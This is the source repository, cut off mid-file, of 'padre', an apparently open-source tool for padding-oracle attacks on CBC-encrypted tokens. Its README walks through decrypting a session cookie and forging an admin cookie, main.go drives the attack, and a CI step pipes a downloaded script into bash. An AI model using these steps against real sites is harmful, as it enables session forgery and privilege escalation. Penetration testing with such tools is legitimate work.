[
  {
    "path": ".dockerignore",
    "content": "test_server\nDockerfile\ndocker-compose.yml"
  },
  {
    "path": ".github/dependabot.yml",
    "content": "# To get started with Dependabot version updates, you'll need to specify which\n# package ecosystems to update and where the package manifests are located.\n# Please see the documentation for all configuration options:\n# https://docs.github.com/github/administering-a-repository/configuration-options-for-dependency-updates\n\nversion: 2\nupdates:\n  - package-ecosystem: gomod # See documentation for possible values\n    directory: \"/\" # Location of package manifests\n    schedule:\n      interval: \"daily\"\n  - package-ecosystem: github-actions # See documentation for possible values\n    directory: \"/\" # Location of package manifests\n    schedule:\n      interval: \"daily\"\n"
  },
  {
    "path": ".github/workflows/build-release.yaml",
    "content": "name: Publish release\non:\n  push:\n    tags:\n    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10\njobs:\n  release:\n    runs-on: ubuntu-latest\n    outputs:\n      upload_url: ${{ steps.create_release.outputs.upload_url}}\n    steps:\n      - name: Create Release\n        id: create_release\n        uses: actions/create-release@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          tag_name: ${{ github.ref }}\n          release_name: Release ${{ github.ref }}\n          draft: true\n          prerelease: false\n\n  build:\n    needs: release\n    runs-on: ubuntu-latest\n    strategy:\n      matrix:\n        GOOS: [linux, windows, darwin]\n        GOARCH: [amd64]\n    env:\n      GOOS: ${{ matrix.GOOS }}\n      GOARCH: ${{ matrix.GOARCH }}\n      ACTIONS_ALLOW_UNSECURE_COMMANDS: 'true'\n    steps:\n      - name: Set binary extension\n        if: matrix.GOOS == 'windows'\n        run: echo \"::set-env name=BINARY_EXT::.exe\"\n\n      - name: Set compiled binary name\n        run: |\n          echo \"::set-env name=BINARY_NAME::padre-${{ matrix.GOOS }}-${{ matrix.GOARCH }}${{ env.BINARY_EXT }}\"\n          echo \"Binary name set to ${{ env.BINARY_NAME }}\"\n\n      - name: Checkout code\n        uses: actions/checkout@v4\n      \n      - uses: actions/setup-go@v5\n        with:\n          go-version: '1.20'\n\n      - name: Build project\n        run: go build -o $BINARY_NAME\n\n      - name: Attach compiled binary to release\n        id: upload-release-asset \n        uses: actions/upload-release-asset@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          upload_url: ${{ needs.release.outputs.upload_url }}\n          asset_path: ./${{ env.BINARY_NAME }}\n          asset_name: ${{ env.BINARY_NAME }}\n          asset_content_type: application/octet-stream\n"
  },
  {
    "path": ".github/workflows/test.yaml",
    "content": "on: [push, pull_request]\nname: Test\njobs:\n  test:\n    strategy:\n      matrix:\n        go-version: [1.18.x, 1.19.x, 1.20.x]\n        os: [ubuntu-latest, macos-latest, windows-latest]\n    runs-on: ${{ matrix.os }}\n    steps:\n    - name: Install Go\n      uses: actions/setup-go@v5\n      with:\n        go-version: ${{ matrix.go-version }}\n\n    - name: Checkout code\n      uses: actions/checkout@v4\n      \n    - name: Restore dependencies cache\n      uses: actions/cache@v4\n      with:\n        path: ~/go/pkg/mod\n        key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }}\n        restore-keys: |\n          ${{ runner.os }}-go-\n\n    - name: Unit tests\n      run: make test\n\n    - name: Upload coverage report to codecov\n      if:  ${{ matrix.os == 'ubuntu-latest'}}\n      run: bash <(curl -s https://codecov.io/bash)\n"
  },
  {
    "path": ".gitignore",
    "content": ".vscode/\nroot.crt\ncoverage.out\n"
  },
  {
    "path": "Dockerfile",
    "content": "FROM golang:1.17\n\nWORKDIR /padre\n\n# Build\nCOPY . .\nRUN go mod download\nRUN go build -o padre .\n\n# Runn\nCMD [\"./padre\"]"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2023 glebarez\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "Makefile",
    "content": "test:\n\tgo test -race -coverprofile=coverage.out -covermode=atomic ./..."
  },
  {
    "path": "README.md",
    "content": "![](https://img.shields.io/github/go-mod/go-version/glebarez/padre) ![Publish release](https://github.com/glebarez/padre/workflows/Publish%20release/badge.svg) ![](https://img.shields.io/codecov/c/github/glebarez/padre/master)\n\n# padre\n***padre*** is an advanced exploiter for Padding Oracle attacks against CBC mode encryption\n\nFeatures:\n- blazing fast, concurrent implementation\n- decryption of tokens\n- encryption of arbitrary data\n- automatic fingerprinting of padding oracles\n- automatic detection of cipher block length\n- HINTS! if failure occurs during operations, padre will hint you about what can be tweaked to succeed\n- supports tokens in GET/POST parameters, Cookies\n- flexible specification of encoding rules (base64, hex, etc.)\n\n## Demo\n\n![demo](assets/demo.gif )\n\n## Installation/Update\n- Fastest way is to download pre-compiled binary for your OS from [Latest release](https://github.com/glebarez/padre/releases/latest)\n\n- Alternatively, if you have Go installed, build from source:\n```console\ngo install github.com/glebarez/padre@latest\n```\n\n## Usage scenario\nIf you find a suspected padding oracle, where the encrypted data is stored inside a cookie named SESS, you can use the following:\n```bash\npadre -u 'https://target.site/profile.php' -cookie 'SESS=$' 'Gw3kg8e3ej4ai9wffn%2Fd0uRqKzyaPfM2UFq%2F8dWmoW4wnyKZhx07Bg=='\n```\npadre will automatically fingerprint HTTP responses to determine if padding oracle can be confirmed. If server is indeed vulnerable, the provided token will be decrypted into something like:\n```json\n {\"user_id\": 456, \"is_admin\": false}\n```\nIt looks like you could elevate your privileges here!\n\nYou can attempt to do so by first generating your own encrypted data that the oracle will decrypt back to some sneaky plaintext:\n```bash\npadre -u 'https://target.site/profile.php' -cookie 'SESS=$' -enc '{\"user_id\": 456, \"is_admin\": true}'\n```\nThis will spit out another encoded set of encrypted data, perhaps something like below (if base64 used):\n```text\ndGhpcyBpcyBqdXN0IGFuIGV4YW1wbGU=\n```\nNow you can open your browser and set the value of the SESS cookie to the above value. Loading the original oracle page, you should now see you are elevated to admin level.\n\n## Impact of padding Oracles\n- disclosing encrypted session information\n- bypassing authentication\n- providing fake tokens that server will trust\n- generally, broad extension of attack surface\n\n## Full usage options\n```\nUsage: padre [OPTIONS] [INPUT]\n\nINPUT: \n\tIn decrypt mode: encrypted data\n\tIn encrypt mode: the plaintext to be encrypted\n\tIf not passed, will read from STDIN\n\n\tNOTE: binary data is always encoded in HTTP. Tweak encoding rules if needed (see options: -e, -r)\n\nOPTIONS:\n\n-u *required*\n\ttarget URL, use $ character to define token placeholder (if present in URL)\n\n-enc\n\tEncrypt mode\n\n-err\n\tRegex pattern, HTTP response bodies will be matched against this to detect padding oracle. Omit to perform automatic fingerprinting\n\n-e\n\tEncoding to apply to binary data. Supported values:\n\t\tb64 (standard base64) *default*\n\t\tlhex (lowercase hex)\n\n-r\n\tAdditional replacements to apply after encoding binary data. Use odd-length strings, consiting of pairs of characters <OLD><NEW>.\n\tExample:\n\t\tIf server uses base64, but replaces '/' with '!', '+' with '-', '=' with '~', then use -r \"/!+-=~\"\n\n-cookie\n\tCookie value to be set in HTTP requests. Use $ character to mark token placeholder.\n\n-post\n\tString data to perform POST requests. Use $ character to mark token placeholder. \n\n-ct\n\tContent-Type for POST requests. If not specified, Content-Type will be determined automatically.\n\t\n-b\n\tBlock length used in cipher (use 16 for AES). Omit to perform automatic detection. Supported values:\n\t\t8\n\t\t16 *default*\n\t\t32\n\n-p\n\tNumber of parallel HTTP connections established to target server [1-256]\n\t\t30 *default*\n\t\t\n-proxy\n\tHTTP proxy. e.g. use -proxy \"http://localhost:8080\" for Burp or ZAP\n```\n\n## Further read\n- https://blog.skullsecurity.org/2013/a-padding-oracle-example\n- https://blog.skullsecurity.org/2016/going-the-other-way-with-padding-oracles-encrypting-arbitrary-data\n\n## Alternative tools\n- https://github.com/liamg/pax\n- https://github.com/AonCyberLabs/PadBuster\n"
  },
  {
    "path": "arg_errors.go",
    "content": "package main\n\nimport \"fmt\"\n\ntype argErrors struct {\n\terrors   []error\n\twarnings []string\n}\n\nfunc newArgErrors() *argErrors {\n\treturn &argErrors{\n\t\terrors:   make([]error, 0),\n\t\twarnings: make([]string, 0),\n\t}\n}\n\nfunc (p *argErrors) flagError(flag string, err error) {\n\te := fmt.Errorf(\"parameter %s: %w\", flag, err)\n\tp.errors = append(p.errors, e)\n}\n\nfunc (p *argErrors) flagErrorf(flag string, format string, a ...interface{}) {\n\te := fmt.Errorf(\"parameter %s: %s\", flag, fmt.Sprintf(format, a...))\n\tp.errors = append(p.errors, e)\n}\n\nfunc (p *argErrors) flagWarningf(flag string, format string, a ...interface{}) {\n\tw := fmt.Sprintf(\"parameter %s: %s\", flag, fmt.Sprintf(format, a...))\n\tp.warnings = append(p.warnings, w)\n}\n\nfunc (p *argErrors) warningf(format string, a ...interface{}) {\n\tw := fmt.Sprintf(format, a...)\n\tp.warnings = append(p.warnings, w)\n}\n"
  },
  {
    "path": "args.go",
    "content": "package main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strings\"\n\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github.com/glebarez/padre/pkg/encoder\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\nfunc init() {\n\t// a custom usage message\n\tflag.Usage = func() {\n\t\tfmt.Fprint(stderr, usage)\n\t}\n}\n\nconst (\n\tdefaultConcurrency   = 30\n\tdefaultTerminalWidth = 80\n\tmaxConcurrency       = 256\n)\n\n// Args - CLI flags\ntype Args struct {\n\tBlockLen            *int\n\tParallel            *int\n\tTargetURL           *string\n\tEncoder             encoder.Encoder\n\tPaddingErrorPattern *string\n\tProxyURL            *url.URL\n\tPOSTdata            *string\n\tContentType         *string\n\tCookies             []*http.Cookie\n\tEncryptMode         *bool\n\tInput               *string\n}\n\nfunc parseArgs() (*Args, *argErrors) {\n\t// container for storing errors and warnings\n\targErrs := newArgErrors()\n\n\targs := &Args{}\n\n\t// simple flags that go in as-is\n\targs.PaddingErrorPattern = flag.String(\"err\", \"\", \"\")\n\targs.BlockLen = flag.Int(\"b\", 0, \"\")\n\targs.Parallel = flag.Int(\"p\", defaultConcurrency, \"\")\n\targs.POSTdata = flag.String(\"post\", \"\", \"\")\n\targs.ContentType = flag.String(\"ct\", \"\", \"\")\n\targs.EncryptMode = flag.Bool(\"enc\", false, \"\")\n\targs.TargetURL = flag.String(\"u\", \"\", \"\")\n\n\t// flags that need additional processing\n\tproxyURL := flag.String(\"proxy\", \"\", \"\")\n\tencoding := flag.String(\"e\", \"b64\", \"\")\n\treplacements := flag.String(\"r\", \"\", \"\")\n\tcookies := flag.String(\"cookie\", \"\", \"\")\n\n\t// parse flags\n\tflag.Parse()\n\n\t// general check on URL, POSTdata or Cookies for having the $ placeholder\n\tmatch1, err := regexp.MatchString(`\\$`, *args.TargetURL)\n\tif err != nil {\n\t\targErrs.flagError(\"-u\", err)\n\t}\n\tmatch2, err := regexp.MatchString(`\\$`, *args.POSTdata)\n\tif err != nil {\n\t\targErrs.flagError(\"-post\", err)\n\t}\n\tmatch3, err := regexp.MatchString(`\\$`, *cookies)\n\tif err != nil {\n\t\targErrs.flagError(\"-cookie\", err)\n\t}\n\tif !(match1 || match2 || match3) {\n\t\targErrs.flagErrorf(\"-u, -post, -cookie\", \"Either URL, POST data or Cookie must contain the $ placeholder\")\n\t}\n\n\t// Target URL\n\tif *args.TargetURL == \"\" {\n\t\targErrs.flagErrorf(\"-u\", \"Must be specified\")\n\t} else {\n\t\t_, err = url.Parse(*args.TargetURL)\n\t\tif err != nil {\n\t\t\targErrs.flagError(\"-u\", fmt.Errorf(\"failed to parse URL: %w\", err))\n\t\t}\n\t}\n\n\t// Proxy URL\n\tif *proxyURL != \"\" {\n\t\targs.ProxyURL, err = url.Parse(*proxyURL)\n\t\tif err != nil {\n\t\t\targErrs.flagError(\"-proxy\", fmt.Errorf(\"failed to parse URL: %w\", err))\n\t\t}\n\t}\n\n\t// Encoder (With replacements)\n\tif len(*replacements)%2 == 1 {\n\t\targErrs.flagErrorf(\"-r\", \"String must be of even length (0,2,4, etc.)\")\n\t} else {\n\t\tswitch strings.ToLower(*encoding) {\n\t\tcase \"b64\":\n\t\t\targs.Encoder = encoder.NewB64encoder(*replacements)\n\t\tcase \"lhex\":\n\t\t\targs.Encoder = encoder.NewLHEXencoder(*replacements)\n\t\tdefault:\n\t\t\targErrs.flagErrorf(\"-e\", \"Unsupported encoding specified\")\n\t\t}\n\t}\n\n\t// block length\n\tswitch *args.BlockLen {\n\tcase 0: // = not set\n\tcase 8:\n\tcase 16:\n\tcase 32:\n\tdefault:\n\t\targErrs.flagErrorf(\"-b\", \"Unsupported value passed. Omit, or specify one of: 8, 16, 32\")\n\t}\n\n\t// Cookies\n\tif *cookies != \"\" {\n\t\targs.Cookies, err = util.ParseCookies(*cookies)\n\t\tif err != nil {\n\t\t\targErrs.flagError(\"-cookie\", fmt.Errorf(\"failed to parse cookies: %s\", err))\n\t\t}\n\t}\n\n\t// Concurrency\n\tif *args.Parallel < 1 {\n\t\targErrs.flagWarningf(\"-p\", \"Cannot be less than 1, value corrected to default value (%d)\", defaultConcurrency)\n\t\t*args.Parallel = defaultConcurrency\n\t} else if *args.Parallel > maxConcurrency {\n\t\targErrs.flagWarningf(\"-p\", \"Value reduced to maximum allowed value (%d)\", maxConcurrency)\n\t\t*args.Parallel = maxConcurrency\n\t}\n\n\t// content-type auto-detection\n\tif *args.POSTdata != \"\" && *args.ContentType == \"\" {\n\t\t*args.ContentType = util.DetectContentType(*args.POSTdata)\n\t\targErrs.warningf(\"HTTP Content-Type detected automatically as %s\", color.Yellow(*args.ContentType))\n\t}\n\n\t// decide on input source\n\tswitch flag.NArg() {\n\tcase 0:\n\t\t// no input passed, STDIN will be used\n\tcase 1:\n\t\t// input is passed\n\t\targs.Input = &flag.Args()[0]\n\tdefault:\n\t\t// too many positional arguments\n\t\targErrs.flagErrorf(\"[INPUT]\", \"Specify exactly one input string, or pipe into STDIN\")\n\t}\n\n\treturn args, argErrs\n}\n"
  },
  {
    "path": "docker-compose.yml",
    "content": "version: \"2.1\"\n\nservices:\n    vuln-server:\n        build: ./test_server\n        environment: \n            VULNERABLE: 1\n            USE_GEVENT: 1\n        expose:\n            - \"5000\"\n        logging:\n            driver: \"none\"\n        healthcheck:\n            test: [\"CMD\", \"curl\", \"-f\", \"http://localhost:5000/health\"]\n            interval: 2s\n            timeout: 1s\n            retries: 3\n\n    padre:\n        build: .\n        depends_on:\n            vuln-server:\n                condition: service_healthy\n        command: >\n            bash -c \"./padre -u http://vuln-server:5000/decrypt?cipher=$$ -enc  http-get | ./padre -u http://vuln-server:5000/decrypt?cipher=$$\n            && ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$' -enc  http-post | ./padre -u http://vuln-server:5000/decrypt -post 'cipher=$$'\"\n      "
  },
  {
    "path": "go.mod",
    "content": "module github.com/glebarez/padre\n\ngo 1.17\n\nrequire (\n\tgithub.com/fatih/color v1.18.0\n\tgithub.com/mattn/go-isatty v0.0.20\n\tgithub.com/nsf/termbox-go v1.1.1\n\tgithub.com/stretchr/testify v1.8.4\n)\n\nrequire (\n\tgithub.com/davecgh/go-spew v1.1.1 // indirect\n\tgithub.com/mattn/go-colorable v0.1.13 // indirect\n\tgithub.com/mattn/go-runewidth v0.0.9 // indirect\n\tgithub.com/pmezard/go-difflib v1.0.0 // indirect\n\tgolang.org/x/sys v0.25.0 // indirect\n\tgopkg.in/yaml.v3 v3.0.1 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=\ngithub.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=\ngithub.com/fatih/color v1.18.0 h1:S8gINlzdQ840/4pfAwic/ZE0djQEH3wM94VfqLTZcOM=\ngithub.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/6HfU=\ngithub.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA=\ngithub.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg=\ngithub.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM=\ngithub.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=\ngithub.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=\ngithub.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=\ngithub.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=\ngithub.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY=\ngithub.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo=\ngithub.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=\ngithub.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=\ngithub.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME=\ngithub.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw=\ngithub.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo=\ngithub.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg=\ngithub.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU=\ngithub.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk=\ngithub.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo=\ngolang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.25.0 h1:r+8e+loiHxRqhXVl6ML1nO3l1+oFoWbnlu2Ehimmi34=\ngolang.org/x/sys v0.25.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\n"
  },
  {
    "path": "hints.go",
    "content": "package main\n\nimport (\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github.com/glebarez/padre/pkg/output\"\n)\n\n// flag wrapper\nfunc _f(f string) string {\n\treturn `(` + color.GreenBold(`-`+f) + ` option)`\n}\n\n// hint texts\nvar (\n\tomitBlockLen     = `omit ` + _f(`b`) + `  for automatic detection of block length`\n\tomitErrPattern   = `omit ` + _f(`err`) + ` for automatic fingerprinting of HTTP responses`\n\tsetErrPattern    = `specify error pattern manually with ` + _f(`err`)\n\tlowerConnections = `server might be overwhelmed or rate-limiting you requests. try lowering concurrency using ` + _f(`p`)\n\tcheckEncoding    = `check that encoding ` + _f(`e`) + ` and replacement rules ` + _f(`r`) + ` are set properly`\n\tcheckInput       = `check that INPUT is properly formatted`\n)\n\n// make hints for obvious reasons\nfunc makeDetectionHints(args *Args) []string {\n\n\thints := make([]string, 0)\n\n\t// block length\n\tif *args.BlockLen != 0 {\n\t\thints = append(hints, omitBlockLen)\n\t} else {\n\t\t// error pattern\n\t\tif *args.PaddingErrorPattern != \"\" {\n\t\t\thints = append(hints, omitErrPattern)\n\t\t} else {\n\t\t\thints = append(hints, setErrPattern)\n\t\t}\n\t}\n\n\t// concurrency\n\tif *args.Parallel > 10 {\n\t\thints = append(hints, lowerConnections)\n\t}\n\n\treturn hints\n}\n\nfunc printHints(p *output.Printer, hints []string) {\n\t// hints intro\n\tp.AddPrefix(color.CyanBold(\"[hints]\"), true)\n\tdefer p.RemovePrefix()\n\n\tp.Println(`if you believe target is vulnerable, try following:`)\n\n\t// list hints\n\tp.AddPrefix(color.CyanBold(`> `), false)\n\tdefer p.RemovePrefix()\n\n\tfor _, h := range hints {\n\t\tp.Println(h)\n\t}\n}\n"
  },
  {
    "path": "main.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"os\"\n\n\t\"github.com/glebarez/padre/pkg/client\"\n\t\"github.com/glebarez/padre/pkg/color\"\n\t\"github.com/glebarez/padre/pkg/encoder\"\n\t\"github.com/glebarez/padre/pkg/exploit\"\n\tout \"github.com/glebarez/padre/pkg/output\"\n\t\"github.com/glebarez/padre/pkg/probe\"\n\t\"github.com/glebarez/padre/pkg/util\"\n)\n\nvar (\n\tstderr = color.Error\n\tstdout = os.Stdout\n)\n\nfunc main() {\n\tvar err error\n\n\t// initialize printer\n\tprint := &out.Printer{\n\t\tStream: stderr,\n\t}\n\n\t// determine terminal width\n\tvar termWidth int\n\ttermWidth, err = util.TerminalWidth()\n\tif err != nil {\n\t\t// fallback to default\n\t\tprint.AvailableWidth = defaultTerminalWidth\n\t\tprint.Errorf(\"Could not determine terminal width. Falling back to %d\", defaultTerminalWidth)\n\t\terr = nil //nolint\n\t} else {\n\t\tprint.AvailableWidth = termWidth\n\t}\n\n\t// parse CLI arguments\n\targs, errs := parseArgs()\n\n\t// check if errors occurred during CLI arguments parsing\n\tif len(errs.errors) > 0 {\n\t\tprint.AddPrefix(color.CyanBold(\"argument errors:\"), true)\n\t\tfor _, e := range errs.errors {\n\t\t\tprint.Error(e)\n\t\t}\n\t\tprint.RemovePrefix()\n\t\tprint.Printlnf(\"Run with %s option to see usage help\", color.CyanBold(\"-h\"))\n\t\tos.Exit(1)\n\t}\n\n\t// check if warnings occurred during CLI arguments parsing\n\tfor _, w := range errs.warnings {\n\t\tprint.Warning(w)\n\t}\n\n\t// show welcoming message\n\tprint.Info(\"%s is on duty\", color.CyanBold(\"padre\"))\n\n\t// be verbose about concurrency\n\tprint.Info(\"using concurrency (http connections): %s\", color.Green(*args.Parallel))\n\n\t// initialize HTTP client\n\tclient := &client.Client{\n\t\tHTTPclient: &http.Client{\n\t\t\tTransport: &http.Transport{\n\t\t\t\tMaxConnsPerHost: *args.Parallel,\n\t\t\t\tProxy:           http.ProxyURL(args.ProxyURL),\n\t\t\t\tTLSClientConfig: &tls.Config{InsecureSkipVerify: true}, // skip TLS verification\n\t\t\t}},\n\t\tURL:               *args.TargetURL,\n\t\tPOSTdata:          *args.POSTdata,\n\t\tCookies:           args.Cookies,\n\t\tCipherPlaceholder: `$`,\n\t\tEncoder:           args.Encoder,\n\t\tConcurrency:       *args.Parallel,\n\t\tContentType:       *args.ContentType,\n\t}\n\n\t// create matcher for padding error\n\tvar matcher probe.PaddingErrorMatcher\n\n\tif *args.PaddingErrorPattern != \"\" {\n\t\tmatcher, err = probe.NewMatcherByRegexp(*args.PaddingErrorPattern)\n\t\tif err != nil {\n\t\t\tprint.Error(err)\n\t\t\tos.Exit(1)\n\t\t}\n\t}\n\n\t// -- detect/confirm padding oracle\n\t// set block lengths to try\n\tvar blockLengths []int\n\n\tif *args.BlockLen == 0 {\n\t\t// no block length explicitly provided, we need to try all supported lengths\n\t\tblockLengths = []int{8, 16, 32}\n\t} else {\n\t\tblockLengths = []int{*args.BlockLen}\n\t}\n\n\tvar i, bl int\n\t// if matcher was already created due to explicit pattern provided in args\n\t// we need to just confirm the existence of padding oracle\n\tif matcher != nil {\n\t\tprint.Action(\"confirming padding oracle...\")\n\t\tfor i, bl = range blockLengths {\n\t\t\tconfirmed, err := probe.ConfirmPaddingOracle(client, matcher, bl)\n\t\t\tif err != nil {\n\t\t\t\tprint.Error(err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\t// exit as soon as padding oracle is confirmed\n\t\t\tif confirmed {\n\t\t\t\tprint.Success(\"padding oracle confirmed\")\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// on last iteration, getting here means confirming failed\n\t\t\tif i == len(blockLengths)-1 {\n\t\t\t\tprint.Errorf(\"padding oracle was not confirmed\")\n\t\t\t\tprintHints(print, makeDetectionHints(args))\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t}\n\t}\n\n\t// if matcher was not created (e.g. pattern was not provided in CLI args)\n\t// then we need to auto-detect the fingerprint of padding oracle\n\tif matcher == nil {\n\t\tprint.Action(\"fingerprinting HTTP responses for padding oracle...\")\n\t\tfor i, bl = range blockLengths {\n\t\t\tmatcher, err = probe.DetectPaddingErrorFingerprint(client, bl)\n\t\t\tif err != nil {\n\t\t\t\tprint.Error(err)\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\n\t\t\t// exit as soon as fingerprint is detected\n\t\t\tif matcher != nil {\n\t\t\t\tprint.Success(\"successfully detected padding oracle\")\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// on last iteration, getting here means confirming failed\n\t\t\tif i == len(blockLengths)-1 {\n\t\t\t\tprint.Errorf(\"could not auto-detect padding oracle fingerprint\")\n\t\t\t\tprintHints(print, makeDetectionHints(args))\n\t\t\t\tos.Exit(1)\n\t\t\t}\n\t\t}\n\t}\n\n\t// set block length if it was auto-detected\n\tif *args.BlockLen == 0 {\n\t\t*args.BlockLen = bl\n\t\tprint.Success(\"detected block length: %s\", color.Green(bl))\n\t}\n\n\t// print mode used\n\tif *args.EncryptMode {\n\t\tprint.Warning(\"mode: %s\", color.CyanBold(\"encrypt\"))\n\t} else {\n\t\tprint.Warning(\"mode: %s\", color.CyanBold(\"decrypt\"))\n\t}\n\n\t// build list of inputs to process\n\tinputs := make([]string, 0)\n\n\tif args.Input == nil {\n\t\tprint.Warning(\"no explicit input passed, expecting input from stdin...\")\n\t\t// read inputs from stdin\n\t\tscanner := bufio.NewScanner(os.Stdin)\n\t\tfor scanner.Scan() {\n\t\t\tinputs = append(inputs, scanner.Text())\n\t\t}\n\t} else {\n\t\t// use single input, passed in CLI arguments\n\t\tinputs = append(inputs, *args.Input)\n\t}\n\n\t// init padre instance\n\tpadre := &exploit.Padre{\n\t\tClient:   client,\n\t\tMatcher:  matcher,\n\t\tBlockLen: *args.BlockLen,\n\t}\n\n\t// process inputs one by one\n\tvar errCount int\n\n\tfor i, input := range inputs {\n\t\t// create new status bar for current input\n\t\tprefix := color.CyanBold(fmt.Sprintf(\"[%d/%d]\", i+1, len(inputs)))\n\t\tprint.AddPrefix(prefix, true)\n\n\t\tvar (\n\t\t\toutput []byte\n\t\t\tbar    *out.HackyBar\n\t\t\thints  []string\n\t\t)\n\n\t\t// encrypt or decrypt\n\t\tif *args.EncryptMode {\n\t\t\t// init hacky bar\n\t\t\tbar = out.CreateHackyBar(args.Encoder, len(exploit.Pkcs7Pad(input, bl))+bl, *args.EncryptMode, print)\n\n\t\t\t// provide HTTP client with event-channel, so we can count RPS\n\t\t\tclient.RequestEventChan = bar.ChanReq\n\n\t\t\tbar.Start()\n\t\t\toutput, err = padre.Encrypt(input, bar.ChanOutput)\n\t\t\tif err != nil {\n\t\t\t\t// at this stage, we already confirmed padding oracle\n\t\t\t\t// we suppose the server is blocking connections\n\t\t\t\thints = append(hints, 